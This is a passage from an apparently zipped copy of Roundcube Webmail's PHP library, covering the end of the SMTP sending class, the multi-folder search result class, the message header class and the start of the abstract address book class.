            if (isset($exts['DSN'])) {
                $from_params      = 'RET=HDRS';
                $recipient_params = 'NOTIFY=SUCCESS,FAILURE';
            }
        }

        // RFC6531: request SMTPUTF8 if needed
        if (preg_match('/[^\x00-\x7F]/', $from . implode('', $recipients))) {
            if (isset($exts['SMTPUTF8'])) {
                $from_params = ltrim($from_params . ' SMTPUTF8');
            }
            else {
                $this->_conn_error('smtputf8error', "SMTP server does not support unicode in email addresses");
                $this->reset();
                return false;
            }
        }

        // RFC2298.3: remove envelope sender address
        if (empty($opts['mdn_use_from'])
            && preg_match('/Content-Type: multipart\/report/', $text_headers)
            && preg_match('/report-type=disposition-notification/', $text_headers)
        ) {
            $from = '';
        }

        // set From: address
        $result = $this->conn->mailFrom($from, $from_params);
        if (is_a($result, 'PEAR_Error')) {
            $this->_conn_error('smtpfromerror', "Failed to set sender '$from'", ['from' => $from]);
            $this->reset();
            return false;
        }

        // set mail recipients
        foreach ($recipients as $recipient) {
            $result = $this->conn->rcptTo($recipient, $recipient_params);
            if (is_a($result, 'PEAR_Error')) {
                $this->_conn_error('smtptoerror', "Failed to add recipient '$recipient'", ['to' => $recipient]);
                $this->reset();
                return false;
            }
        }

        if (is_resource($body)) {
            if ($text_headers) {
                $text_headers = preg_replace('/[\r\n]+$/', '', $text_headers);
            }
        }
        else {
            if ($text_headers) {
                $body = $text_headers . "\r\n" . $body;
            }

            $text_headers = null;
        }

        // Send the message's headers and the body as SMTP data.
        $result = $this->conn->data($body, $text_headers);
        if (is_a($result, 'PEAR_Error')) {
            $err       = $this->conn->getResponse();
            $err_label = 'smtperror';
            $err_vars  = [];

            if (!in_array($err[0], [354, 250, 221])) {
                $msg = sprintf('[%d] %s', $err[0], $err[1]);
            }
            else {
                $msg = $result->getMessage();

                if (strpos($msg, 'size exceeds')) {
                    $err_label = 'smtpsizeerror';
                    $exts      = $this->conn->getServiceExtensions();

                    if (!empty($exts['SIZE'])) {
                        $limit = $exts['SIZE'];
                        $msg .= " (Limit: $limit)";
                        if (class_exists('rcmail_action')) {
                            $limit = rcmail_action::show_bytes($limit);
                        }

                        $err_vars['limit'] = $limit;
                        $err_label         = 'smtpsizeerror';
                    }
                }
            }

            $err_vars['msg'] = $msg;

            $this->error = ['label' => $err_label, 'vars' => $err_vars];
            $this->response[] = "Failed to send data. " . $msg;
            $this->reset();
            return false;
        }

        $this->response[] = implode(': ', $this->conn->getResponse());
        return true;
    }

    /**
     * Reset the global SMTP connection
     */
    public function reset()
    {
        if (is_object($this->conn)) {
            $this->conn->rset();
        }
    }

    /**
     * Disconnect the global SMTP connection
     */
    public function disconnect()
    {
        if (is_object($this->conn)) {
            $this->conn->disconnect();
            $this->conn = null;
        }
    }

    /**
     * This is our own debug handler for the SMTP connection
     */
    public function debug_handler($smtp, $message)
    {
        // catch AUTH commands and set anonymization flag for subsequent sends
        if (preg_match('/^Send: AUTH ([A-Z]+)/', $message, $m)) {
            $this->anonymize_log = $m[1] == 'LOGIN' ? 2 : 1;
        }
        // anonymize this log entry
        else if ($this->anonymize_log > 0 && strpos($message, 'Send:') === 0 && --$this->anonymize_log == 0) {
            $message = sprintf('Send: ****** [%d]', strlen($message) - 8);
        }

        if (($len = strlen($message)) > self::DEBUG_LINE_LENGTH) {
            $diff    = $len - self::DEBUG_LINE_LENGTH;
            $message = substr($message, 0, self::DEBUG_LINE_LENGTH)
                . "... [truncated $diff bytes]";
        }

        rcube::write_log('smtp', preg_replace('/\r\n$/', '', $message));
    }

    /**
     * Get error message
     */
    public function get_error()
    {
        return $this->error;
    }

    /**
     * Get server response messages array
     */
    public function get_response()
    {
         return $this->response;
    }

    /**
     * Take an array of mail headers and return a string containing
     * text usable in sending a message.
     *
     * @param array $headers The array of headers to prepare, in an associative
     *              array, where the array key is the header name (ie,
     *              'Subject'), and the array value is the header
     *              value (ie, 'test'). The header produced from those
     *              values would be 'Subject: test'.
     *
     * @return mixed Returns false if it encounters a bad address,
     *               otherwise returns an array containing two
     *               elements: Any From: address found in the headers,
     *               and the plain text version of the headers.
     */
    private function _prepare_headers($headers)
    {
        $lines = [];
        $from  = null;

        foreach ($headers as $key => $value) {
            if (strcasecmp($key, 'From') === 0) {
                $addresses = $this->_parse_rfc822($value);

                if (is_array($addresses)) {
                    $from = $addresses[0];
                }

                // Reject envelope From: addresses with spaces.
                if (strpos($from, ' ') !== false) {
                    return false;
                }

                $lines[] = $key . ': ' . $value;
            }
            else if (strcasecmp($key, 'Received') === 0) {
                $received = [];
                if (is_array($value)) {
                    foreach ($value as $line) {
                        $received[] = $key . ': ' . $line;
                    }
                }
                else {
                    $received[] = $key . ': ' . $value;
                }

                // Put Received: headers at the top.  Spam detectors often
                // flag messages with Received: headers after the Subject:
                // as spam.
                $lines = array_merge($received, $lines);
            }
            else {
                // If $value is an array (i.e., a list of addresses), convert
                // it to a comma-delimited string of its elements (addresses).
                if (is_array($value)) {
                    $value = implode(', ', $value);
                }

                $lines[] = $key . ': ' . $value;
            }
        }

        return [$from, implode(self::SMTP_MIME_CRLF, $lines) . self::SMTP_MIME_CRLF];
    }

    /**
     * Take a set of recipients and parse them, returning an array of
     * bare addresses (forward paths) that can be passed to sendmail
     * or an smtp server with the rcpt to: command.
     *
     * @param mixed $recipients Either a comma-separated list of recipients
     *                          (RFC822 compliant), or an array of recipients,
     *                          each RFC822 valid.
     *
     * @return array An array of forward paths (bare addresses).
     */
    private function _parse_rfc822($recipients)
    {
        // if we're passed an array, assume addresses are valid and implode them before parsing.
        if (is_array($recipients)) {
            $recipients = implode(', ', $recipients);
        }

        $addresses  = [];
        $recipients = preg_replace('/[\s\t]*\r?\n/', '', $recipients);
        $recipients = rcube_utils::explode_quoted_string(',', $recipients);

        reset($recipients);
        foreach ($recipients as $recipient) {
            $a = rcube_utils::explode_quoted_string(' ', $recipient);
            foreach ($a as $word) {
                $word = trim($word);
                $len  = strlen($word);

                if ($len && strpos($word, "@") > 0 && $word[$len-1] != '"') {
                    $word = preg_replace('/^<|>$/', '', $word);
                    if (!in_array($word, $addresses)) {
                        array_push($addresses, $word);
                    }
                }
            }
        }

        return $addresses;
    }

    /**
     * Send XCLIENT command if configured and supported
     */
    private function _process_xclient($use_tls, $helo_host)
    {
        $rcube = rcube::get_instance();

        if (!is_object($this->conn)) {
            return false;
        }

        $exts = $this->conn->getServiceExtensions();

        if (!isset($exts['XCLIENT'])) {
            return true;
        }

        $opts = explode(' ', $exts['XCLIENT']);
        $cmd = '';

        if ($rcube->config->get('smtp_xclient_login') && in_array_nocase('login', $opts)) {
            $cmd .= " LOGIN=" . $rcube->get_user_name();
        }

        if ($rcube->config->get('smtp_xclient_addr') && in_array_nocase('addr', $opts)) {
            $ip = rcube_utils::remote_addr();

            if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
                $r = $ip;
            }
            elseif (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6)) {
                $r = "IPV6:{$ip}";
            }
            else {
                $r = "[UNAVAILABLE]";
            }

            $cmd .= " ADDR={$r}";
        }

        if ($cmd) {
            $result = $this->conn->command("XCLIENT" . $cmd, [220]);

            if ($result !== true) {
                return $result;
            }

            if (!$use_tls) {
                return $this->conn->helo($helo_host);
            }
        }

        return true;
    }

    /**
     * Handle connection error
     */
    private function _conn_error($label, $message, $vars = [], $result = null)
    {
        $err = $this->conn->getResponse();

        $vars['code'] = $result ? $result->getCode() : $err[0];
        $vars['msg']  = $result ? $result->getMessage() : $err[1];

        $this->error = ['label' => $label, 'vars' => $vars];
        $this->response[] = "{$message}: {$err[1]} (Code: {$err[0]})";
    }
}
PK
h�\��i�'�'2program/lib/Roundcube/rcube_result_multifolder.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   SORT/SEARCH/ESEARCH response handler                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Class holding a set of rcube_result_index instances that together form a
 * result set of a multi-folder search
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_result_multifolder
{
    public $multi      = true;
    public $sets       = [];
    public $incomplete = false;
    public $folder;

    protected $meta    = [];
    protected $index   = [];
    protected $folders = [];
    protected $sdata   = [];
    protected $order   = 'ASC';
    protected $sorting;


    /**
     * Object constructor.
     *
     * @param array $folders List of IMAP folders
     */
    public function __construct($folders = [])
    {
        $this->folders = $folders;
        $this->meta    = ['count' => 0];
    }

    /**
     * Initializes object with SORT command response
     *
     * @param rcube_result_index|rcube_result_thread $result Search result
     */
    public function add($result)
    {
        $this->sets[] = $result;

        if ($result->count()) {
            $this->append_result($result);
        }
        else if ($result->incomplete) {
            $this->incomplete = true;
        }
    }

    /**
     * Append message UIDs from the given result to our index
     *
     * @param rcube_result_index|rcube_result_thread $result Search result
     */
    protected function append_result($result)
    {
        $this->meta['count'] += $result->count();

        // append UIDs to global index
        $folder = $result->get_parameters('MAILBOX');
        $index  = array_map(function($uid) use ($folder) { return $uid . '-' . $folder; }, $result->get());

        $this->index = array_merge($this->index, $index);
    }

    /**
     * Store a global index of (sorted) message UIDs
     *
     * @param rcube_message_header[] $headers    Messages in the index
     * @param string                 $sort_field Header field to sort by
     * @param string                 $sort_order Sort order
     */
    public function set_message_index($headers, $sort_field, $sort_order)
    {
        $this->sorting = $sort_field;
        $this->order   = $sort_order;
        $this->index   = [];

        foreach ($headers as $header) {
            $this->index[] = $header->uid . '-' . $header->folder;
        }
    }

    /**
     * Checks the result from IMAP command
     *
     * @return bool True if the result is an error, False otherwise
     */
    public function is_error()
    {
        return false;
    }

    /**
     * Checks if the result is empty
     *
     * @return bool True if the result is empty, False otherwise
     */
    public function is_empty()
    {
        return empty($this->sets) || $this->meta['count'] == 0;
    }

    /**
     * Returns number of elements in the result
     *
     * @return int Number of elements
     */
    public function count()
    {
        return $this->meta['count'];
    }

    /**
     * Returns number of elements in the result.
     * Alias for count() for compatibility with rcube_result_thread
     *
     * @return int Number of elements
     */
    public function count_messages()
    {
        return $this->count();
    }

    /**
     * Reverts order of elements in the result
     */
    public function revert()
    {
        $this->order = $this->order == 'ASC' ? 'DESC' : 'ASC';
        $this->index = array_reverse($this->index);

        // revert order in all sub-sets
        foreach ($this->sets as $set) {
            if ($this->order != $set->get_parameters('ORDER')) {
                $set->revert();
            }
        }
    }

    /**
     * Check if the given message ID exists in the object
     *
     * @param int  $msgid     Message ID
     * @param bool $get_index When enabled element's index will be returned.
     *                        Elements are indexed starting with 0
     *
     * @return mixed False if message ID doesn't exist, True if exists or
     *               index of the element if $get_index=true
     */
    public function exists($msgid, $get_index = false)
    {
        if (!empty($this->folder)) {
            $msgid .= '-' . $this->folder;
        }

        $idx = array_search($msgid, $this->index);

        if ($get_index) {
            return $idx;
        }

        return $idx !== false;
    }

    /**
     * Filters data set. Removes elements listed in $ids list.
     *
     * @param array  $ids    List of IDs to remove.
     * @param string $folder IMAP folder
     */
    public function filter($ids = [], $folder = null)
    {
        $this->meta['count'] = 0;
        foreach ($this->sets as $set) {
            if ($set->get_parameters('MAILBOX') == $folder) {
                $set->filter($ids);
            }

            $this->meta['count'] += $set->count();
        }
    }

    /**
     * Slices data set.
     *
     * @param int $offset Offset (as for PHP's array_slice())
     * @param int $length Number of elements (as for PHP's array_slice())
     */
    public function slice($offset, $length)
    {
        $data = array_slice($this->get(), $offset, $length);

        $this->index = $data;
        $this->meta['count'] = count($data);
    }

    /**
     * Filters data set. Removes elements not listed in $ids list.
     *
     * @param array $ids List of IDs to keep.
     */
    public function intersect($ids = [])
    {
        // not implemented
    }

    /**
     * Return all messages in the result.
     *
     * @return array List of message IDs
     */
    public function get()
    {
        return $this->index;
    }

    /**
     * Return all messages in the result in compressed form
     *
     * @return string List of message IDs in compressed form
     */
    public function get_compressed()
    {
        return '';
    }

    /**
     * Return result element at specified index
     *
     * @param int|string $idx Element's index or "FIRST" or "LAST"
     *
     * @return int Element value
     */
    public function get_element($idx)
    {
        switch ($idx) {
            case 'FIRST': return $this->index[0];
            case 'LAST':  return end($this->index);
            default:      return $this->index[$idx] ?? null;
        }
    }

    /**
     * Returns response parameters, e.g. ESEARCH's MIN/MAX/COUNT/ALL/MODSEQ
     * or internal data e.g. MAILBOX, ORDER
     *
     * @param string $param Parameter name
     *
     * @return array|string Response parameters or parameter value
     */
    public function get_parameters($param=null)
    {
        $params = [
            'SORT'    => $this->sorting,
            'ORDER'   => $this->order,
            'MAILBOX' => $this->folders,
        ];

        if ($param !== null) {
            return $params[$param];
        }

        return $params;
    }

    /**
     * Returns the stored result object for a particular folder
     *
     * @param string $folder Folder name
     *
     * @return false|rcube_result_index|rcube_result_thread A result set or false if none found
     */
    public function get_set($folder)
    {
        foreach ($this->sets as $set) {
            if ($set->get_parameters('MAILBOX') == $folder) {
                return $set;
            }
        }

        return false;
    }

    /**
     * Returns length of internal data representation
     *
     * @return int Data length
     */
    protected function length()
    {
        return $this->count();
    }

    /**
     * Serialization __sleep handler
     *
     * @return array Names of all object properties that should be serialized
     */
    public function __sleep()
    {
        $this->sdata = ['incomplete' => [], 'error' => []];

        foreach ($this->sets as $set) {
            if ($set->incomplete) {
                $this->sdata['incomplete'][] = $set->get_parameters('MAILBOX');
            }
            else if ($set->is_error()) {
                $this->sdata['error'][] = $set->get_parameters('MAILBOX');
            }
        }

        return ['sdata', 'index', 'folders', 'sorting', 'order'];
    }

    /**
     * Serialization __wakeup handler
     */
    public function __wakeup()
    {
        $this->meta       = ['count' => count($this->index)];
        $this->incomplete = count($this->sdata['incomplete']) > 0;

        // restore result sets from saved index
        $data = [];
        foreach ($this->index as $item) {
            list($uid, $folder) = explode('-', $item, 2);
            $data[$folder] = ($data[$folder] ?? '') . ' ' . $uid;
        }

        foreach ($this->folders as $folder) {
            if (in_array($folder, $this->sdata['error'])) {
                $data_str = null;
            }
            else {
                $data_str = '* SORT' . ($data[$folder] ?? '');
            }

            $set = new rcube_result_index($folder, $data_str, strtoupper($this->order));

            if (in_array($folder, $this->sdata['incomplete'])) {
                $set->incomplete = true;
            }

            $this->sets[] = $set;
        }
    }
}
PK
h�\
3��"�".program/lib/Roundcube/rcube_message_header.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   E-mail message headers representation                               |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Struct representing an e-mail message header
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_message_header
{
    /**
     * Message sequence number
     *
     * @var int
     */
    public $id;

    /**
     * Message unique identifier
     *
     * @var int
     */
    public $uid;

    /**
     * Message subject
     *
     * @var string
     */
    public $subject;

    /**
     * Message sender (From)
     *
     * @var string
     */
    public $from;

    /**
     * Message recipient (To)
     *
     * @var string
     */
    public $to;

    /**
     * Message additional recipients (Cc)
     *
     * @var string
     */
    public $cc;

    /**
     * Message hidden recipients (Bcc)
     *
     * @var string
     */
    public $bcc;

    /**
     * Message Reply-To header
     *
     * @var string
     */
    public $replyto;

    /**
     * Message In-Reply-To header
     *
     * @var string
     */
    public $in_reply_to;

    /**
     * Message date (Date)
     *
     * @var string
     */
    public $date;

    /**
     * Message identifier (Message-ID)
     *
     * @var string
     */
    public $messageID;

    /**
     * Message size
     *
     * @var int
     */
    public $size;

    /**
     * Message encoding
     *
     * @var string
     */
    public $encoding;

    /**
     * Message charset
     *
     * @var string
     */
    public $charset;

    /**
     * Message Content-type
     *
     * @var string
     */
    public $ctype;

    /**
     * Message timestamp (based on message date)
     *
     * @var int
     */
    public $timestamp;

    /**
     * IMAP bodystructure string
     *
     * @var string
     */
    public $bodystructure;

    /**
     * IMAP body (RFC822.TEXT)
     *
     * @var string
     */
    public $body;

    /**
     * IMAP part bodies
     *
     * @var array
     */
    public $bodypart = [];

    /**
     * IMAP internal date
     *
     * @var string
     */
    public $internaldate;

    /**
     * Message References header
     *
     * @var string
     */
    public $references;

    /**
     * Message priority (X-Priority)
     *
     * @var int
     */
    public $priority;

    /**
     * Message receipt recipient
     *
     * @var string
     */
    public $mdn_to;

    /**
     * IMAP folder this message is stored in
     *
     * @var string
     */
    public $folder;

    /**
     * Other message headers
     *
     * @var array
     */
    public $others = [];

    /**
     * Message flags
     *
     * @var array
     */
    public $flags = [];

    /**
     * Extra flags (for the messages list)
     *
     * @var array
     * @deprecated Use $flags
     */
    public $list_flags = [];

    /**
     * Extra columns content (for the messages list)
     *
     * @var array
     */
    public $list_cols = [];

    /**
     * Message structure
     *
     * @var rcube_message_part
     */
    public $structure;

    /**
     * Message thread depth
     *
     * @var int
     */
    public $depth;

    /**
     * Whether the message has references in the thread
     *
     * @var bool
     */
    public $has_children;

    /**
     * Number of flagged children (in a thread)
     *
     * @var int
     */
    public $flagged_children;

    /**
     * Number of unread children (in a thread)
     *
     * @var int
     */
    public $unread_children;

    /**
     * UID of the message parent (in a thread)
     *
     * @var int
     */
    public $parent_uid;

    /**
     * IMAP MODSEQ value
     *
     * @var int
     */
    public $modseq;

    /**
     * IMAP ENVELOPE
     *
     * @var string
     */
    public $envelope;

    /**
     * Header name to rcube_message_header object property map
     *
     * @var array
     */
    private $obj_headers = [
        'date'      => 'date',
        'from'      => 'from',
        'to'        => 'to',
        'subject'   => 'subject',
        'reply-to'  => 'replyto',
        'cc'        => 'cc',
        'bcc'       => 'bcc',
        'mbox'      => 'folder',
        'folder'    => 'folder',
        'content-transfer-encoding' => 'encoding',
        'in-reply-to'               => 'in_reply_to',
        'content-type'              => 'ctype',
        'charset'                   => 'charset',
        'references'                => 'references',
        'disposition-notification-to' => 'mdn_to',
        'x-confirm-reading-to'      => 'mdn_to',
        'message-id'                => 'messageID',
        'x-priority'                => 'priority',
    ];

    /**
     * Returns header value
     *
     * @param string $name   Header name
     * @param bool   $decode Decode the header content
     *
     * @return string|null Header content
     */
    public function get($name, $decode = true)
    {
        $name  = strtolower($name);
        $value = null;

        if (isset($this->obj_headers[$name]) && isset($this->{$this->obj_headers[$name]})) {
            $value = $this->{$this->obj_headers[$name]};
        }
        else if (isset($this->others[$name])) {
            $value = $this->others[$name];
        }

        if ($decode && $value !== null) {
            if (is_array($value)) {
                foreach ($value as $key => $val) {
                    $val         = rcube_mime::decode_header($val, $this->charset);
                    $value[$key] = rcube_charset::clean($val);
                }
            }
            else {
                $value = rcube_mime::decode_header($value, $this->charset);
                $value = rcube_charset::clean($value);
            }
        }

        return $value;
    }

    /**
     * Sets header value
     *
     * @param string $name  Header name
     * @param string $value Header content
     */
    public function set($name, $value)
    {
        $name = strtolower($name);

        if (isset($this->obj_headers[$name])) {
            $this->{$this->obj_headers[$name]} = $value;
        }
        else {
            $this->others[$name] = $value;
        }
    }

    /**
     * Factory method to instantiate headers from a data array
     *
     * @param array $arr Hash array with header values
     *
     * @return rcube_message_header instance filled with headers values
     */
    public static function from_array($arr)
    {
        $obj = new rcube_message_header;
        foreach ($arr as $k => $v) {
            $obj->set($k, $v);
        }

        return $obj;
    }
}


/**
 * Class for sorting an array of rcube_message_header objects in a predetermined order.
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_message_header_sorter
{
    /** @var array Message UIDs */
    private $uids = [];


    /**
     * Set the predetermined sort order.
     *
     * @param array $index  Numerically indexed array of IMAP UIDs
     */
    function set_index($index)
    {
        $index = array_flip($index);

        $this->uids = $index;
    }

    /**
     * Sort the array of header objects
     *
     * @param array $headers Array of rcube_message_header objects indexed by UID
     */
    function sort_headers(&$headers)
    {
        uksort($headers, [$this, "compare_uids"]);
    }

    /**
     * Sort method called by uksort()
     *
     * @param int $a Array key (UID)
     * @param int $b Array key (UID)
     */
    function compare_uids($a, $b)
    {
        // then find each sequence number in my ordered list
        $posa = isset($this->uids[$a]) ? intval($this->uids[$a]) : -1;
        $posb = isset($this->uids[$b]) ? intval($this->uids[$b]) : -1;

        // return the relative position as the comparison value
        return $posa - $posb;
    }
}
PK
h�\\���z�z+program/lib/Roundcube/rcube_addressbook.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Interface to the local address book database                        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Abstract skeleton of an address book/repository
 *
 * @package    Framework
 * @subpackage Addressbook
 */
abstract class rcube_addressbook
{
    // constants for error reporting
    const ERROR_READ_ONLY     = 1;
    const ERROR_NO_CONNECTION = 2;
    const ERROR_VALIDATE      = 3;
    const ERROR_SAVING        = 4;
    const ERROR_SEARCH        = 5;

    // search modes
    const SEARCH_ALL    = 0;
    const SEARCH_STRICT = 1;
    const SEARCH_PREFIX = 2;
    const SEARCH_GROUPS = 4;

    // contact types, note: some of these are used as addressbook source identifiers
    const TYPE_CONTACT        = 0;
    const TYPE_RECIPIENT      = 1;
    const TYPE_TRUSTED_SENDER = 2;
    const TYPE_DEFAULT        = 4;
    const TYPE_WRITEABLE      = 8;
    const TYPE_READONLY       = 16;

    // public properties (mandatory)

    /** @var string Name of the primary key field of this addressbook. Used to search for previously retrieved IDs. */
    public $primary_key;

    /** @var bool True if the addressbook supports contact groups. */
    public $groups = false;

    /**
     * @var bool True if the addressbook supports exporting contact groups. Requires the implementation of
     *              get_record_groups().
     */
    public $export_groups = true;

    /** @var bool True if the addressbook is read-only. */
    public $readonly = true;

    /**
     * @var bool True if the addressbook does not support listing all records but needs use of the search function.
     */
    public $searchonly = false;

    /** @var bool True if the addressbook supports restoring deleted contacts. */
    public $undelete = false;

    /** @var bool True if the addressbook is ready to be used. See rcmail_action_contacts_index::$CONTACT_COLTYPES */
    public $ready = false;

    /**
     * @var null|string|int If set, addressbook-specific identifier of the selected group. All contact listing and
     *                      contact searches will be limited to contacts that belong to this group.
     */
    public $group_id = null;

    /** @var int The current page of the listing. Numbering starts at 1. */
    public $list_page = 1;

    /** @var int The maximum number of records shown on a page. */
    public $page_size = 10;

    /** @var string Contact field by which to order listed records. */
    public $sort_col = 'name';

    /** @var string Whether sorting of records by $sort_col is done in ascending (ASC) or descending (DESC) order. */
    public $sort_order = 'ASC';

    /** @var string[] A list of record fields that contain dates. */
    public $date_cols = [];

    /** @var array Definition of the contact fields supported by the addressbook. */
    public $coltypes = [
        'name'      => ['limit' => 1],
        'firstname' => ['limit' => 1],
        'surname'   => ['limit' => 1],
        'email'     => ['limit' => 1]
    ];

    /**
     * @var string[] vCard additional fields mapping
     */
    public $vcard_map = [];

    /** @var ?array Error state - hash array with the following fields: type, message */
    protected $error;


    /**
     * Returns addressbook name (e.g. for addressbooks listing)
     * @return string
     */
    abstract function get_name();

    /**
     * Sets a search filter.
     *
     * This affects the contact set considered when using the count() and list_records() operations to those
     * contacts that match the filter conditions. If no search filter is set, all contacts in the addressbook are
     * considered.
     *
     * This filter mechanism is applied in addition to other filter mechanisms, see the description of the count()
     * operation.
     *
     * @param mixed $filter Search params to use in listing method, obtained by get_search_set()
     * @return void
     */
    abstract function set_search_set($filter);

    /**
     * Getter for saved search properties.
     *
     * The filter representation is opaque to roundcube, but can be set again using set_search_set().
     *
     * @return mixed Search properties used by this class
     */
    abstract function get_search_set();

    /**
     * Reset saved results and search parameters
     * @return void
     */
    abstract function reset();

    /**
     * Refresh saved search set after data has changed
     *
     * @return mixed New search set
     */
    function refresh_search()
    {
        return $this->get_search_set();
    }

    /**
     * Lists the current set of contact records.
     *
     * See the description of count() for the criteria determining which contacts are considered for the listing.
     *
     * The actual records returned may be fewer, as only the records for the current page are returned. The returned
     * records may be further limited by the $subset parameter, which means that only the first or last $subset records
     * of the page are returned, depending on whether $subset is positive or negative. If $subset is 0, all records of
     * the page are returned. The returned records are found in the $records property of the returned result set.
     *
     * Finally, the $first property of the returned result set contains the index into the total set of filtered records
     * (i.e. not considering the segmentation into pages) of the first returned record before applying the $subset
     * parameter (i.e., $first is always a multiple of the page size).
     *
     * The $nocount parameter is an optimization that allows to skip querying the total amount of records of the
     * filtered set if the caller is only interested in the records. In this case, the $count property of the returned
     * result set will simply contain the number of returned records, but the filtered set may contain more records than
     * this.
     *
     * The result of the operation is internally cached for later retrieval using get_result().
     *
     * @param ?array $cols    List of columns to include in the returned records (null means all)
     * @param int    $subset  Only return this number of records of the current page, use negative values for tail
     * @param bool   $nocount True to skip the count query (select only)
     *
     * @return rcube_result_set Indexed list of contact records, each a hash array
     */
    abstract function list_records($cols = null, $subset = 0, $nocount = false);

    /**
     * Search records
     *
     * Depending on the given parameters the search() function operates in different ways (in the order listed):
     *
     * "Direct ID search" - when $fields is either 'ID' or $this->primary_key
     *     - $values is either a string of contact IDs separated by self::SEPARATOR (,) or an array of contact IDs
     *     - Any contact with one of the given IDs is returned
     *
     * "Advanced search" - when $value is an array
     *     - Each value in $values is the search value for the field in $fields at the same index
     *     - All fields must match their value to be included in the result ("AND" semantics)
     *
     * "Search all fields" - when $fields is '*' (note: $value is a single string)
     *     - Any field must match the value to be included in the result ("OR" semantics)
     *
     * "Search given fields" - if none of the above matches
     *     - Any of the given fields must match the value to be included in the result ("OR" semantics)
     *
     * All matching is done case insensitive.
     *
     * The search settings are remembered (see set_search_set()) until reset using the reset() function. They can be
     * retrieved using get_search_set(). The remembered search settings must be considered by list_records() and
     * count().
     *
     * The search mode can be set by the admin via the config.inc.php setting addressbook_search_mode.
     * It is used as a bit mask, but the search modes are exclusive (SEARCH_GROUPS is combined with one of other modes):
     *   SEARCH_ALL: substring search (*abc*)
     *   SEARCH_STRICT: Exact match search (case insensitive =)
     *   SEARCH_PREFIX: Prefix search (abc*)
     *   SEARCH_GROUPS: include groups in search results (if supported)
     *
     * When records are requested in the returned rcube_result_set ($select is true), the results will only include the
     * contacts of the current page (see list_page, page_size). The behavior is as described with the list_records
     * function, and search() can be thought of as a sequence of set_search_set() and list_records() under that filter.
     *
     * If $nocount is true, the count property of the returned rcube_result_set will contain the amount of records
     * contained within that set. Calling search() with $select=false and $nocount=true is not a meaningful use case and
     * will result in an empty result set without records and a count property of 0, which gives no indication on the
     * actual record set matching the given filter.
     *
     * The result of the operation is internally cached for later retrieval using get_result().
     *
     * @param string|string[] $fields   Field names to search in
     * @param string|string[] $value    Search value, or array of values, one for each field in $fields
     * @param int             $mode     Search mode. Sum of rcube_addressbook::SEARCH_*.
     * @param bool            $select   True if records are requested in the result, false if count only
     * @param bool            $nocount  True to skip the count query (select only)
     * @param string|string[] $required Field or list of fields that cannot be empty
     *
     * @return rcube_result_set Contact records and 'count' value
     */
    abstract function search($fields, $value, $mode = 0, $select = true, $nocount = false, $required = []);

    /**
     * Count the number of contacts in the database matching the current filter criteria.
     *
     * The current filter criteria are defined by the search filter (see search()/set_search_set()) and the currently
     * active group (see set_group()), if applicable.
     *
     * @return rcube_result_set Result set with values for 'count' and 'first'
     */
    abstract function count();

    /**
     * Return the last result set
     *
     * @return ?rcube_result_set Current result set or NULL if nothing selected yet
     */
    abstract function get_result();

    /**
     * Get a specific contact record
     *
     * @param mixed $id    Record identifier(s)
     * @param bool  $assoc True to return record as associative array, otherwise a result set is returned
     *
     * @return rcube_result_set|array Result object with all record fields
     */
    abstract function get_record($id, $assoc = false);

    /**
     * Returns the last error occurred (e.g. when updating/inserting failed)
     *
     * @return ?array Hash array with the following fields: type, message. Null if no error set.
     */
    function get_error()
    {
        return $this->error;
    }

    /**
     * Setter for errors for internal use
     *
     * @param int    $type    Error type (one of this class' error constants)
     * @param string $message Error message (name of a text label)
     */
    protected function set_error($type, $message)
    {
        $this->error = ['type' => $type, 'message' => $message];
    }

    /**
     * Close connection to source
     * Called on script shutdown
     */
    function close() { }

    /**
     * Set internal list page
     *
     * @param int $page Page number to list
     */
    function set_page($page)
    {
        $this->list_page = (int) $page;
    }

    /**
     * Set internal page size
     *
     * @param int $size Number of messages to display on one page
     */
    function set_pagesize($size)
    {
        $this->page_size = (int) $size;
    }

    /**
     * Set internal sort settings
     *
     * @param ?string $sort_col   Sort column
     * @param ?string $sort_order Sort order
     */
    function set_sort_order($sort_col, $sort_order = null)
    {
        if ($sort_col && (array_key_exists($sort_col, $this->coltypes) || in_array($sort_col, $this->coltypes))) {
            $this->sort_col = $sort_col;
        }

        if ($sort_order) {
            $this->sort_order = strtoupper($sort_order) == 'DESC' ? 'DESC' : 'ASC';
        }
    }

    /**
     * Check the given data before saving.
     * If input isn't valid, the message to display can be fetched using get_error()
     *
     * @param array &$save_data Associative array with data to save
     * @param bool  $autofix    Attempt to fix/complete record automatically
     *
     * @return bool True if input is valid, False if not.
     */
    public function validate(&$save_data, $autofix = false)
    {
        $rcube = rcube::get_instance();
        $valid = true;

        // check validity of email addresses
        foreach ($this->get_col_values('email', $save_data, true) as $email) {
            if (strlen($email)) {
                if (!rcube_utils::check_email(rcube_utils::idn_to_ascii($email))) {
